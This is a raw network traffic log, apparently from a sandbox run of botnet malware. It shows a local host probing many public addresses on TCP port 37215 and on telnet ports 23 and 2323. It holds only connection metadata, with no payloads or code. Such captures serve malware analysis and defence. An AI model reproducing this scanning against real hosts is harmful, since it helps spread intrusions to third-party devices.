Aug 17, 2024 01:01:53.873486996 CEST	58872	37215	192.168.2.13	197.196.189.181
Aug 17, 2024 01:01:53.873492956 CEST	42548	37215	192.168.2.13	156.64.163.206
Aug 17, 2024 01:01:53.873495102 CEST	57906	37215	192.168.2.13	197.238.77.22
Aug 17, 2024 01:01:53.873495102 CEST	38452	37215	192.168.2.13	41.108.222.238
Aug 17, 2024 01:01:53.873495102 CEST	41826	37215	192.168.2.13	156.32.44.193
Aug 17, 2024 01:01:53.873502970 CEST	50078	37215	192.168.2.13	156.127.33.235
Aug 17, 2024 01:01:53.873506069 CEST	45658	37215	192.168.2.13	197.171.157.27
Aug 17, 2024 01:01:53.873506069 CEST	38578	37215	192.168.2.13	41.43.248.75
Aug 17, 2024 01:01:53.873506069 CEST	42402	37215	192.168.2.13	156.251.164.202
Aug 17, 2024 01:01:53.873513937 CEST	45364	37215	192.168.2.13	197.244.251.224
Aug 17, 2024 01:01:53.873514891 CEST	57942	37215	192.168.2.13	156.252.3.231
Aug 17, 2024 01:01:53.873514891 CEST	48972	37215	192.168.2.13	197.196.210.52
Aug 17, 2024 01:01:53.873514891 CEST	48724	37215	192.168.2.13	41.180.115.246
Aug 17, 2024 01:01:53.873519897 CEST	37990	37215	192.168.2.13	156.223.58.70
Aug 17, 2024 01:01:53.873519897 CEST	45222	37215	192.168.2.13	41.66.98.205
Aug 17, 2024 01:01:53.873528957 CEST	38832	37215	192.168.2.13	197.165.75.106
Aug 17, 2024 01:01:53.873528957 CEST	39496	37215	192.168.2.13	156.1.106.214
Aug 17, 2024 01:01:53.873537064 CEST	38770	37215	192.168.2.13	197.209.88.112
Aug 17, 2024 01:01:53.873537064 CEST	59138	37215	192.168.2.13	197.128.179.66
Aug 17, 2024 01:01:53.873537064 CEST	51584	37215	192.168.2.13	41.24.136.68
Aug 17, 2024 01:01:53.878760099 CEST	37215	35532	41.239.90.207	192.168.2.13
Aug 17, 2024 01:01:53.878977060 CEST	35532	37215	192.168.2.13	41.239.90.207
Aug 17, 2024 01:01:53.879019976 CEST	37215	38104	197.132.193.151	192.168.2.13
Aug 17, 2024 01:01:53.879090071 CEST	38104	37215	192.168.2.13	197.132.193.151
Aug 17, 2024 01:01:53.879630089 CEST	37215	59138	197.128.179.66	192.168.2.13
Aug 17, 2024 01:01:53.879636049 CEST	37215	38770	197.209.88.112	192.168.2.13
Aug 17, 2024 01:01:53.879648924 CEST	37215	51584	41.24.136.68	192.168.2.13
Aug 17, 2024 01:01:53.879673004 CEST	37215	39496	156.1.106.214	192.168.2.13
Aug 17, 2024 01:01:53.879678011 CEST	37215	38832	197.165.75.106	192.168.2.13
Aug 17, 2024 01:01:53.879687071 CEST	37215	45222	41.66.98.205	192.168.2.13
Aug 17, 2024 01:01:53.879698992 CEST	37215	37990	156.223.58.70	192.168.2.13
Aug 17, 2024 01:01:53.879703999 CEST	37215	48724	41.180.115.246	192.168.2.13
Aug 17, 2024 01:01:53.879709959 CEST	37215	48972	197.196.210.52	192.168.2.13
Aug 17, 2024 01:01:53.879729033 CEST	37215	57942	156.252.3.231	192.168.2.13
Aug 17, 2024 01:01:53.879733086 CEST	37215	45364	197.244.251.224	192.168.2.13
Aug 17, 2024 01:01:53.879744053 CEST	37215	38578	41.43.248.75	192.168.2.13
Aug 17, 2024 01:01:53.879749060 CEST	37215	45658	197.171.157.27	192.168.2.13
Aug 17, 2024 01:01:53.879760027 CEST	37215	42402	156.251.164.202	192.168.2.13
Aug 17, 2024 01:01:53.879764080 CEST	37215	50078	156.127.33.235	192.168.2.13
Aug 17, 2024 01:01:53.879781961 CEST	37215	41826	156.32.44.193	192.168.2.13
Aug 17, 2024 01:01:53.879786015 CEST	37215	57906	197.238.77.22	192.168.2.13
Aug 17, 2024 01:01:53.879800081 CEST	37215	38452	41.108.222.238	192.168.2.13
Aug 17, 2024 01:01:53.879813910 CEST	37215	42548	156.64.163.206	192.168.2.13
Aug 17, 2024 01:01:53.879817963 CEST	37215	58872	197.196.189.181	192.168.2.13
Aug 17, 2024 01:01:53.879827023 CEST	37215	34088	197.69.174.97	192.168.2.13
Aug 17, 2024 01:01:53.879832029 CEST	37215	57064	156.152.95.241	192.168.2.13
Aug 17, 2024 01:01:53.879842043 CEST	37215	56164	197.25.156.24	192.168.2.13
Aug 17, 2024 01:01:53.879846096 CEST	37215	45454	197.225.201.198	192.168.2.13
Aug 17, 2024 01:01:53.879851103 CEST	37215	48946	41.103.197.121	192.168.2.13
Aug 17, 2024 01:01:53.879863977 CEST	37215	51740	41.146.158.211	192.168.2.13
Aug 17, 2024 01:01:53.879868984 CEST	37215	33176	156.37.223.11	192.168.2.13
Aug 17, 2024 01:01:53.879873991 CEST	37215	54260	156.238.84.194	192.168.2.13
Aug 17, 2024 01:01:53.879878044 CEST	37215	60818	156.226.180.139	192.168.2.13
Aug 17, 2024 01:01:53.879882097 CEST	37215	39996	197.95.88.187	192.168.2.13
Aug 17, 2024 01:01:53.879893064 CEST	37215	40990	156.56.23.17	192.168.2.13
Aug 17, 2024 01:01:53.879898071 CEST	37215	48974	41.68.90.111	192.168.2.13
Aug 17, 2024 01:01:53.879908085 CEST	37215	57808	41.197.91.229	192.168.2.13
Aug 17, 2024 01:01:53.879911900 CEST	37215	46064	156.125.252.168	192.168.2.13
Aug 17, 2024 01:01:53.879921913 CEST	37215	53200	156.153.21.213	192.168.2.13
Aug 17, 2024 01:01:53.879926920 CEST	37215	39642	41.135.202.69	192.168.2.13
Aug 17, 2024 01:01:53.879936934 CEST	37215	45064	41.26.153.99	192.168.2.13
Aug 17, 2024 01:01:53.879940987 CEST	37215	40122	156.239.31.113	192.168.2.13
Aug 17, 2024 01:01:53.879951000 CEST	37215	53260	156.83.37.240	192.168.2.13
Aug 17, 2024 01:01:53.879954100 CEST	37215	41778	41.45.71.60	192.168.2.13
Aug 17, 2024 01:01:53.879964113 CEST	37215	52434	197.23.9.21	192.168.2.13
Aug 17, 2024 01:01:53.879967928 CEST	37215	60464	156.206.178.183	192.168.2.13
Aug 17, 2024 01:01:53.879971981 CEST	37215	34750	156.40.198.81	192.168.2.13
Aug 17, 2024 01:01:53.879986048 CEST	37215	56958	156.80.167.54	192.168.2.13
Aug 17, 2024 01:01:53.879992008 CEST	37215	32782	156.199.219.102	192.168.2.13
Aug 17, 2024 01:01:53.880002975 CEST	37215	47010	197.186.87.46	192.168.2.13
Aug 17, 2024 01:01:53.880008936 CEST	37215	39020	197.228.132.154	192.168.2.13
Aug 17, 2024 01:01:53.880018950 CEST	37215	44264	156.118.33.119	192.168.2.13
Aug 17, 2024 01:01:53.880023003 CEST	37215	59438	197.77.172.12	192.168.2.13
Aug 17, 2024 01:01:53.880064964 CEST	37215	47252	156.144.151.245	192.168.2.13
Aug 17, 2024 01:01:53.880069017 CEST	37215	48648	156.255.215.98	192.168.2.13
Aug 17, 2024 01:01:53.880080938 CEST	37215	40060	197.137.134.214	192.168.2.13
Aug 17, 2024 01:01:53.880090952 CEST	37215	50620	41.192.35.18	192.168.2.13
Aug 17, 2024 01:01:53.880095959 CEST	37215	46326	156.71.169.255	192.168.2.13
Aug 17, 2024 01:01:53.880105972 CEST	37215	48856	41.6.202.61	192.168.2.13
Aug 17, 2024 01:01:53.880110025 CEST	37215	48856	41.6.202.61	192.168.2.13
Aug 17, 2024 01:01:53.880124092 CEST	37215	46326	156.71.169.255	192.168.2.13
Aug 17, 2024 01:01:53.880162954 CEST	48856	37215	192.168.2.13	41.6.202.61
Aug 17, 2024 01:01:53.880165100 CEST	46326	37215	192.168.2.13	156.71.169.255
Aug 17, 2024 01:01:53.880445004 CEST	37215	50620	41.192.35.18	192.168.2.13
Aug 17, 2024 01:01:53.880515099 CEST	50620	37215	192.168.2.13	41.192.35.18
Aug 17, 2024 01:01:53.880723953 CEST	37215	40060	197.137.134.214	192.168.2.13
Aug 17, 2024 01:01:53.880774021 CEST	40060	37215	192.168.2.13	197.137.134.214
Aug 17, 2024 01:01:53.881427050 CEST	37215	48648	156.255.215.98	192.168.2.13
Aug 17, 2024 01:01:53.881463051 CEST	48648	37215	192.168.2.13	156.255.215.98
Aug 17, 2024 01:01:53.882694006 CEST	37215	59438	197.77.172.12	192.168.2.13
Aug 17, 2024 01:01:53.882733107 CEST	59438	37215	192.168.2.13	197.77.172.12
Aug 17, 2024 01:01:53.884377956 CEST	37215	47252	156.144.151.245	192.168.2.13
Aug 17, 2024 01:01:53.884414911 CEST	47252	37215	192.168.2.13	156.144.151.245
Aug 17, 2024 01:01:53.884455919 CEST	37215	44264	156.118.33.119	192.168.2.13
Aug 17, 2024 01:01:53.884501934 CEST	44264	37215	192.168.2.13	156.118.33.119
Aug 17, 2024 01:01:53.884748936 CEST	37215	39020	197.228.132.154	192.168.2.13
Aug 17, 2024 01:01:53.884785891 CEST	39020	37215	192.168.2.13	197.228.132.154
Aug 17, 2024 01:01:53.885701895 CEST	37215	47010	197.186.87.46	192.168.2.13
Aug 17, 2024 01:01:53.885754108 CEST	47010	37215	192.168.2.13	197.186.87.46
Aug 17, 2024 01:01:53.886050940 CEST	37215	32782	156.199.219.102	192.168.2.13
Aug 17, 2024 01:01:53.886096954 CEST	32782	37215	192.168.2.13	156.199.219.102
Aug 17, 2024 01:01:53.886431932 CEST	37215	56958	156.80.167.54	192.168.2.13
Aug 17, 2024 01:01:53.886487007 CEST	56958	37215	192.168.2.13	156.80.167.54
Aug 17, 2024 01:01:53.887053967 CEST	37215	34750	156.40.198.81	192.168.2.13
Aug 17, 2024 01:01:53.887104988 CEST	34750	37215	192.168.2.13	156.40.198.81
Aug 17, 2024 01:01:53.887408018 CEST	37215	60464	156.206.178.183	192.168.2.13
Aug 17, 2024 01:01:53.887486935 CEST	60464	37215	192.168.2.13	156.206.178.183
Aug 17, 2024 01:01:53.887622118 CEST	37215	52434	197.23.9.21	192.168.2.13
Aug 17, 2024 01:01:53.887765884 CEST	52434	37215	192.168.2.13	197.23.9.21
Aug 17, 2024 01:01:53.887778997 CEST	37215	41778	41.45.71.60	192.168.2.13
Aug 17, 2024 01:01:53.887825012 CEST	41778	37215	192.168.2.13	41.45.71.60
Aug 17, 2024 01:01:53.887954950 CEST	37215	53260	156.83.37.240	192.168.2.13
Aug 17, 2024 01:01:53.888015032 CEST	53260	37215	192.168.2.13	156.83.37.240
Aug 17, 2024 01:01:53.888374090 CEST	37215	40122	156.239.31.113	192.168.2.13
Aug 17, 2024 01:01:53.888410091 CEST	40122	37215	192.168.2.13	156.239.31.113
Aug 17, 2024 01:01:53.889306068 CEST	37215	45064	41.26.153.99	192.168.2.13
Aug 17, 2024 01:01:53.889344931 CEST	45064	37215	192.168.2.13	41.26.153.99
Aug 17, 2024 01:01:53.889894962 CEST	37215	39642	41.135.202.69	192.168.2.13
Aug 17, 2024 01:01:53.889954090 CEST	39642	37215	192.168.2.13	41.135.202.69
Aug 17, 2024 01:01:53.890326977 CEST	37215	53200	156.153.21.213	192.168.2.13
Aug 17, 2024 01:01:53.890367031 CEST	53200	37215	192.168.2.13	156.153.21.213
Aug 17, 2024 01:01:53.891801119 CEST	37215	46064	156.125.252.168	192.168.2.13
Aug 17, 2024 01:01:53.891900063 CEST	46064	37215	192.168.2.13	156.125.252.168
Aug 17, 2024 01:01:53.892119884 CEST	37215	57808	41.197.91.229	192.168.2.13
Aug 17, 2024 01:01:53.892157078 CEST	37215	48974	41.68.90.111	192.168.2.13
Aug 17, 2024 01:01:53.892168999 CEST	37215	40990	156.56.23.17	192.168.2.13
Aug 17, 2024 01:01:53.892178059 CEST	57808	37215	192.168.2.13	41.197.91.229
Aug 17, 2024 01:01:53.892193079 CEST	40990	37215	192.168.2.13	156.56.23.17
Aug 17, 2024 01:01:53.892199993 CEST	48974	37215	192.168.2.13	41.68.90.111
Aug 17, 2024 01:01:53.892288923 CEST	37215	39996	197.95.88.187	192.168.2.13
Aug 17, 2024 01:01:53.892344952 CEST	39996	37215	192.168.2.13	197.95.88.187
Aug 17, 2024 01:01:53.892806053 CEST	37215	60818	156.226.180.139	192.168.2.13
Aug 17, 2024 01:01:53.892859936 CEST	60818	37215	192.168.2.13	156.226.180.139
Aug 17, 2024 01:01:53.893421888 CEST	37215	54260	156.238.84.194	192.168.2.13
Aug 17, 2024 01:01:53.893625021 CEST	37215	33176	156.37.223.11	192.168.2.13
Aug 17, 2024 01:01:53.893699884 CEST	33176	37215	192.168.2.13	156.37.223.11
Aug 17, 2024 01:01:53.893701077 CEST	54260	37215	192.168.2.13	156.238.84.194
Aug 17, 2024 01:01:53.893974066 CEST	37215	51740	41.146.158.211	192.168.2.13
Aug 17, 2024 01:01:53.894022942 CEST	51740	37215	192.168.2.13	41.146.158.211
Aug 17, 2024 01:01:53.894259930 CEST	37215	48946	41.103.197.121	192.168.2.13
Aug 17, 2024 01:01:53.894264936 CEST	37215	45454	197.225.201.198	192.168.2.13
Aug 17, 2024 01:01:53.894298077 CEST	48946	37215	192.168.2.13	41.103.197.121
Aug 17, 2024 01:01:53.894306898 CEST	45454	37215	192.168.2.13	197.225.201.198
Aug 17, 2024 01:01:53.894804001 CEST	37215	56164	197.25.156.24	192.168.2.13
Aug 17, 2024 01:01:53.894840956 CEST	56164	37215	192.168.2.13	197.25.156.24
Aug 17, 2024 01:01:53.895262957 CEST	37215	57064	156.152.95.241	192.168.2.13
Aug 17, 2024 01:01:53.895306110 CEST	57064	37215	192.168.2.13	156.152.95.241
Aug 17, 2024 01:01:53.896085024 CEST	37215	34088	197.69.174.97	192.168.2.13
Aug 17, 2024 01:01:53.896158934 CEST	34088	37215	192.168.2.13	197.69.174.97
Aug 17, 2024 01:01:53.896603107 CEST	37215	58872	197.196.189.181	192.168.2.13
Aug 17, 2024 01:01:53.896675110 CEST	58872	37215	192.168.2.13	197.196.189.181
Aug 17, 2024 01:01:53.897237062 CEST	37215	42548	156.64.163.206	192.168.2.13
Aug 17, 2024 01:01:53.897294044 CEST	42548	37215	192.168.2.13	156.64.163.206
Aug 17, 2024 01:01:53.898147106 CEST	37215	38452	41.108.222.238	192.168.2.13
Aug 17, 2024 01:01:53.898199081 CEST	38452	37215	192.168.2.13	41.108.222.238
Aug 17, 2024 01:01:53.898580074 CEST	37215	57906	197.238.77.22	192.168.2.13
Aug 17, 2024 01:01:53.898670912 CEST	57906	37215	192.168.2.13	197.238.77.22
Aug 17, 2024 01:01:53.899252892 CEST	37215	41826	156.32.44.193	192.168.2.13
Aug 17, 2024 01:01:53.899308920 CEST	41826	37215	192.168.2.13	156.32.44.193
Aug 17, 2024 01:01:53.899311066 CEST	37215	50078	156.127.33.235	192.168.2.13
Aug 17, 2024 01:01:53.899364948 CEST	50078	37215	192.168.2.13	156.127.33.235
Aug 17, 2024 01:01:53.900382996 CEST	37215	42402	156.251.164.202	192.168.2.13
Aug 17, 2024 01:01:53.900543928 CEST	42402	37215	192.168.2.13	156.251.164.202
Aug 17, 2024 01:01:53.901225090 CEST	37215	45658	197.171.157.27	192.168.2.13
Aug 17, 2024 01:01:53.901278019 CEST	45658	37215	192.168.2.13	197.171.157.27
Aug 17, 2024 01:01:53.901730061 CEST	37215	38578	41.43.248.75	192.168.2.13
Aug 17, 2024 01:01:53.902050018 CEST	38578	37215	192.168.2.13	41.43.248.75
Aug 17, 2024 01:01:53.902456045 CEST	37215	45364	197.244.251.224	192.168.2.13
Aug 17, 2024 01:01:53.902510881 CEST	45364	37215	192.168.2.13	197.244.251.224
Aug 17, 2024 01:01:53.902592897 CEST	37215	57942	156.252.3.231	192.168.2.13
Aug 17, 2024 01:01:53.902623892 CEST	57942	37215	192.168.2.13	156.252.3.231
Aug 17, 2024 01:01:53.903099060 CEST	37215	48972	197.196.210.52	192.168.2.13
Aug 17, 2024 01:01:53.903517008 CEST	37215	48724	41.180.115.246	192.168.2.13
Aug 17, 2024 01:01:53.903551102 CEST	48972	37215	192.168.2.13	197.196.210.52
Aug 17, 2024 01:01:53.903551102 CEST	48724	37215	192.168.2.13	41.180.115.246
Aug 17, 2024 01:01:53.904313087 CEST	37215	37990	156.223.58.70	192.168.2.13
Aug 17, 2024 01:01:53.904362917 CEST	37990	37215	192.168.2.13	156.223.58.70
Aug 17, 2024 01:01:53.904583931 CEST	37215	45222	41.66.98.205	192.168.2.13
Aug 17, 2024 01:01:53.904589891 CEST	37215	38832	197.165.75.106	192.168.2.13
Aug 17, 2024 01:01:53.904623032 CEST	45222	37215	192.168.2.13	41.66.98.205
Aug 17, 2024 01:01:53.904627085 CEST	38832	37215	192.168.2.13	197.165.75.106
Aug 17, 2024 01:01:53.904831886 CEST	37215	39496	156.1.106.214	192.168.2.13
Aug 17, 2024 01:01:53.904912949 CEST	39496	37215	192.168.2.13	156.1.106.214
Aug 17, 2024 01:01:53.904956102 CEST	37215	51584	41.24.136.68	192.168.2.13
Aug 17, 2024 01:01:53.905004978 CEST	51584	37215	192.168.2.13	41.24.136.68
Aug 17, 2024 01:01:53.905064106 CEST	37215	38770	197.209.88.112	192.168.2.13
Aug 17, 2024 01:01:53.905102015 CEST	38770	37215	192.168.2.13	197.209.88.112
Aug 17, 2024 01:01:53.905392885 CEST	37215	59138	197.128.179.66	192.168.2.13
Aug 17, 2024 01:01:53.906214952 CEST	59138	37215	192.168.2.13	197.128.179.66
Aug 17, 2024 01:01:54.337133884 CEST	23	43254	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.337310076 CEST	43254	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.337393045 CEST	24655	2323	192.168.2.13	218.37.52.191
Aug 17, 2024 01:01:54.337393045 CEST	24655	23	192.168.2.13	177.217.160.254
Aug 17, 2024 01:01:54.337397099 CEST	24655	23	192.168.2.13	216.165.67.190
Aug 17, 2024 01:01:54.337415934 CEST	46158	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.337415934 CEST	24655	23	192.168.2.13	171.47.185.154
Aug 17, 2024 01:01:54.337415934 CEST	24655	23	192.168.2.13	38.164.154.203
Aug 17, 2024 01:01:54.337415934 CEST	24655	23	192.168.2.13	185.148.232.209
Aug 17, 2024 01:01:54.337421894 CEST	24655	23	192.168.2.13	201.144.189.8
Aug 17, 2024 01:01:54.337438107 CEST	24655	2323	192.168.2.13	41.169.223.99
Aug 17, 2024 01:01:54.337439060 CEST	24655	23	192.168.2.13	9.229.17.230
Aug 17, 2024 01:01:54.337440014 CEST	24655	23	192.168.2.13	75.194.105.136
Aug 17, 2024 01:01:54.337439060 CEST	24655	23	192.168.2.13	218.214.18.165
Aug 17, 2024 01:01:54.337449074 CEST	24655	23	192.168.2.13	31.138.92.38
Aug 17, 2024 01:01:54.337455034 CEST	24655	23	192.168.2.13	60.145.251.24
Aug 17, 2024 01:01:54.337457895 CEST	24655	23	192.168.2.13	114.139.245.35
Aug 17, 2024 01:01:54.337467909 CEST	24655	23	192.168.2.13	139.173.83.10
Aug 17, 2024 01:01:54.337476015 CEST	24655	23	192.168.2.13	46.103.101.250
Aug 17, 2024 01:01:54.337477922 CEST	24655	23	192.168.2.13	58.68.62.187
Aug 17, 2024 01:01:54.337480068 CEST	24655	23	192.168.2.13	223.74.182.130
Aug 17, 2024 01:01:54.337491035 CEST	24655	23	192.168.2.13	111.62.11.83
Aug 17, 2024 01:01:54.337507010 CEST	24655	23	192.168.2.13	157.231.248.135
Aug 17, 2024 01:01:54.337517977 CEST	24655	2323	192.168.2.13	2.229.54.174
Aug 17, 2024 01:01:54.337517977 CEST	24655	23	192.168.2.13	136.230.151.53
Aug 17, 2024 01:01:54.337519884 CEST	24655	23	192.168.2.13	86.76.120.116
Aug 17, 2024 01:01:54.337519884 CEST	24655	23	192.168.2.13	187.14.138.0
Aug 17, 2024 01:01:54.337519884 CEST	24655	23	192.168.2.13	192.62.253.6
Aug 17, 2024 01:01:54.337534904 CEST	24655	23	192.168.2.13	31.248.252.94
Aug 17, 2024 01:01:54.337542057 CEST	24655	23	192.168.2.13	111.21.162.216
Aug 17, 2024 01:01:54.337547064 CEST	24655	23	192.168.2.13	47.227.5.118
Aug 17, 2024 01:01:54.337548971 CEST	24655	23	192.168.2.13	48.198.68.40
Aug 17, 2024 01:01:54.337554932 CEST	24655	2323	192.168.2.13	42.152.73.122
Aug 17, 2024 01:01:54.337558985 CEST	24655	23	192.168.2.13	220.161.197.15
Aug 17, 2024 01:01:54.337563992 CEST	24655	23	192.168.2.13	58.207.10.234
Aug 17, 2024 01:01:54.337574959 CEST	24655	23	192.168.2.13	219.78.227.131
Aug 17, 2024 01:01:54.337575912 CEST	24655	23	192.168.2.13	38.104.154.41
Aug 17, 2024 01:01:54.337575912 CEST	24655	23	192.168.2.13	102.156.129.71
Aug 17, 2024 01:01:54.337583065 CEST	24655	23	192.168.2.13	220.101.145.183
Aug 17, 2024 01:01:54.337584019 CEST	24655	23	192.168.2.13	19.25.113.68
Aug 17, 2024 01:01:54.337584019 CEST	24655	23	192.168.2.13	91.117.250.43
Aug 17, 2024 01:01:54.337599039 CEST	24655	23	192.168.2.13	218.116.201.242
Aug 17, 2024 01:01:54.337599039 CEST	24655	23	192.168.2.13	93.161.170.215
Aug 17, 2024 01:01:54.337620020 CEST	24655	23	192.168.2.13	84.56.245.221
Aug 17, 2024 01:01:54.337620020 CEST	24655	23	192.168.2.13	58.177.172.210
Aug 17, 2024 01:01:54.337625980 CEST	24655	2323	192.168.2.13	180.31.34.98
Aug 17, 2024 01:01:54.337625980 CEST	24655	23	192.168.2.13	122.10.12.71
Aug 17, 2024 01:01:54.337625980 CEST	24655	23	192.168.2.13	141.62.24.94
Aug 17, 2024 01:01:54.337629080 CEST	24655	23	192.168.2.13	61.84.112.141
Aug 17, 2024 01:01:54.337641954 CEST	24655	23	192.168.2.13	216.18.143.243
Aug 17, 2024 01:01:54.337642908 CEST	24655	23	192.168.2.13	173.107.211.59
Aug 17, 2024 01:01:54.337651968 CEST	24655	23	192.168.2.13	182.124.30.139
Aug 17, 2024 01:01:54.337654114 CEST	24655	23	192.168.2.13	151.220.140.36
Aug 17, 2024 01:01:54.337662935 CEST	24655	2323	192.168.2.13	173.240.249.3
Aug 17, 2024 01:01:54.337690115 CEST	24655	23	192.168.2.13	212.232.123.71
Aug 17, 2024 01:01:54.337690115 CEST	24655	23	192.168.2.13	62.178.9.234
Aug 17, 2024 01:01:54.337691069 CEST	24655	23	192.168.2.13	88.60.19.179
Aug 17, 2024 01:01:54.337692976 CEST	24655	23	192.168.2.13	197.67.144.213
Aug 17, 2024 01:01:54.337693930 CEST	24655	23	192.168.2.13	90.239.118.123
Aug 17, 2024 01:01:54.337703943 CEST	24655	23	192.168.2.13	194.243.241.47
Aug 17, 2024 01:01:54.337706089 CEST	24655	23	192.168.2.13	200.218.170.102
Aug 17, 2024 01:01:54.337706089 CEST	24655	23	192.168.2.13	156.107.8.120
Aug 17, 2024 01:01:54.337718964 CEST	24655	2323	192.168.2.13	98.183.184.242
Aug 17, 2024 01:01:54.337721109 CEST	24655	23	192.168.2.13	130.247.172.175
Aug 17, 2024 01:01:54.337726116 CEST	24655	23	192.168.2.13	190.217.109.63
Aug 17, 2024 01:01:54.337730885 CEST	24655	23	192.168.2.13	68.9.183.234
Aug 17, 2024 01:01:54.337732077 CEST	24655	23	192.168.2.13	155.207.5.171
Aug 17, 2024 01:01:54.337730885 CEST	24655	23	192.168.2.13	46.69.56.246
Aug 17, 2024 01:01:54.337738037 CEST	24655	23	192.168.2.13	47.169.211.135
Aug 17, 2024 01:01:54.337738037 CEST	24655	23	192.168.2.13	178.6.188.242
Aug 17, 2024 01:01:54.337764978 CEST	24655	2323	192.168.2.13	210.228.172.164
Aug 17, 2024 01:01:54.337766886 CEST	24655	23	192.168.2.13	153.191.215.103
Aug 17, 2024 01:01:54.337781906 CEST	24655	23	192.168.2.13	120.163.153.223
Aug 17, 2024 01:01:54.337781906 CEST	24655	23	192.168.2.13	38.119.158.237
Aug 17, 2024 01:01:54.337783098 CEST	24655	23	192.168.2.13	47.156.30.136
Aug 17, 2024 01:01:54.337783098 CEST	24655	23	192.168.2.13	44.51.166.156
Aug 17, 2024 01:01:54.337789059 CEST	24655	23	192.168.2.13	42.100.42.125
Aug 17, 2024 01:01:54.337791920 CEST	24655	23	192.168.2.13	117.225.42.22
Aug 17, 2024 01:01:54.337802887 CEST	24655	23	192.168.2.13	146.46.188.4
Aug 17, 2024 01:01:54.337805986 CEST	24655	23	192.168.2.13	41.126.72.165
Aug 17, 2024 01:01:54.337807894 CEST	24655	23	192.168.2.13	80.11.156.193
Aug 17, 2024 01:01:54.337807894 CEST	24655	23	192.168.2.13	179.192.25.31
Aug 17, 2024 01:01:54.337822914 CEST	24655	23	192.168.2.13	81.200.206.114
Aug 17, 2024 01:01:54.337822914 CEST	24655	23	192.168.2.13	133.145.198.5
Aug 17, 2024 01:01:54.337833881 CEST	24655	23	192.168.2.13	126.163.58.156
Aug 17, 2024 01:01:54.337836027 CEST	24655	23	192.168.2.13	34.112.18.217
Aug 17, 2024 01:01:54.337836027 CEST	24655	23	192.168.2.13	45.92.105.143
Aug 17, 2024 01:01:54.337836027 CEST	24655	2323	192.168.2.13	209.142.9.201
Aug 17, 2024 01:01:54.337858915 CEST	24655	23	192.168.2.13	93.139.43.199
Aug 17, 2024 01:01:54.337858915 CEST	24655	23	192.168.2.13	75.214.109.234
Aug 17, 2024 01:01:54.337872982 CEST	24655	23	192.168.2.13	93.175.30.205
Aug 17, 2024 01:01:54.337872982 CEST	24655	23	192.168.2.13	195.61.138.51
Aug 17, 2024 01:01:54.337874889 CEST	24655	23	192.168.2.13	173.99.183.95
Aug 17, 2024 01:01:54.337874889 CEST	24655	23	192.168.2.13	77.37.74.238
Aug 17, 2024 01:01:54.337879896 CEST	24655	23	192.168.2.13	39.186.234.197
Aug 17, 2024 01:01:54.337881088 CEST	24655	2323	192.168.2.13	82.82.75.248
Aug 17, 2024 01:01:54.337882042 CEST	24655	23	192.168.2.13	119.107.106.66
Aug 17, 2024 01:01:54.337891102 CEST	24655	23	192.168.2.13	183.109.162.76
Aug 17, 2024 01:01:54.337898970 CEST	24655	23	192.168.2.13	136.31.233.126
Aug 17, 2024 01:01:54.337899923 CEST	24655	23	192.168.2.13	112.168.157.16
Aug 17, 2024 01:01:54.337899923 CEST	24655	23	192.168.2.13	65.5.47.60
Aug 17, 2024 01:01:54.337914944 CEST	24655	23	192.168.2.13	92.10.108.211
Aug 17, 2024 01:01:54.337918997 CEST	24655	23	192.168.2.13	151.6.252.227
Aug 17, 2024 01:01:54.337918997 CEST	24655	2323	192.168.2.13	107.96.84.206
Aug 17, 2024 01:01:54.337924004 CEST	24655	23	192.168.2.13	110.255.82.31
Aug 17, 2024 01:01:54.337929964 CEST	24655	23	192.168.2.13	44.114.243.72
Aug 17, 2024 01:01:54.337938070 CEST	24655	23	192.168.2.13	207.230.211.112
Aug 17, 2024 01:01:54.337938070 CEST	24655	23	192.168.2.13	179.181.8.206
Aug 17, 2024 01:01:54.337946892 CEST	24655	23	192.168.2.13	65.151.103.79
Aug 17, 2024 01:01:54.337946892 CEST	24655	23	192.168.2.13	167.125.222.171
Aug 17, 2024 01:01:54.337961912 CEST	24655	23	192.168.2.13	101.215.215.84
Aug 17, 2024 01:01:54.337963104 CEST	24655	23	192.168.2.13	152.155.18.23
Aug 17, 2024 01:01:54.337969065 CEST	24655	23	192.168.2.13	77.101.182.85
Aug 17, 2024 01:01:54.337980986 CEST	24655	23	192.168.2.13	212.221.96.183
Aug 17, 2024 01:01:54.337981939 CEST	24655	23	192.168.2.13	213.61.182.85
Aug 17, 2024 01:01:54.337981939 CEST	24655	2323	192.168.2.13	217.94.109.186
Aug 17, 2024 01:01:54.337980986 CEST	24655	23	192.168.2.13	82.190.168.221
Aug 17, 2024 01:01:54.337990999 CEST	24655	23	192.168.2.13	108.103.67.114
Aug 17, 2024 01:01:54.337994099 CEST	24655	23	192.168.2.13	37.248.51.112
Aug 17, 2024 01:01:54.338006973 CEST	24655	23	192.168.2.13	14.61.132.64
Aug 17, 2024 01:01:54.338006973 CEST	24655	23	192.168.2.13	197.111.45.243
Aug 17, 2024 01:01:54.338006973 CEST	24655	23	192.168.2.13	66.102.51.251
Aug 17, 2024 01:01:54.338010073 CEST	24655	23	192.168.2.13	160.18.183.17
Aug 17, 2024 01:01:54.338021994 CEST	24655	23	192.168.2.13	112.40.73.161
Aug 17, 2024 01:01:54.338026047 CEST	24655	23	192.168.2.13	182.150.69.188
Aug 17, 2024 01:01:54.338031054 CEST	24655	23	192.168.2.13	126.11.110.76
Aug 17, 2024 01:01:54.338032961 CEST	24655	23	192.168.2.13	126.246.192.116
Aug 17, 2024 01:01:54.338033915 CEST	24655	2323	192.168.2.13	177.174.167.23
Aug 17, 2024 01:01:54.338033915 CEST	24655	23	192.168.2.13	1.2.82.196
Aug 17, 2024 01:01:54.338038921 CEST	24655	23	192.168.2.13	101.49.101.174
Aug 17, 2024 01:01:54.338046074 CEST	24655	23	192.168.2.13	188.142.154.131
Aug 17, 2024 01:01:54.338048935 CEST	24655	2323	192.168.2.13	2.176.1.143
Aug 17, 2024 01:01:54.338048935 CEST	24655	23	192.168.2.13	58.43.25.108
Aug 17, 2024 01:01:54.338048935 CEST	24655	23	192.168.2.13	205.141.31.28
Aug 17, 2024 01:01:54.338052034 CEST	24655	23	192.168.2.13	102.136.128.71
Aug 17, 2024 01:01:54.338063002 CEST	24655	23	192.168.2.13	217.235.98.224
Aug 17, 2024 01:01:54.338076115 CEST	24655	23	192.168.2.13	150.171.85.57
Aug 17, 2024 01:01:54.338076115 CEST	24655	23	192.168.2.13	160.171.196.120
Aug 17, 2024 01:01:54.338076115 CEST	24655	23	192.168.2.13	222.110.111.3
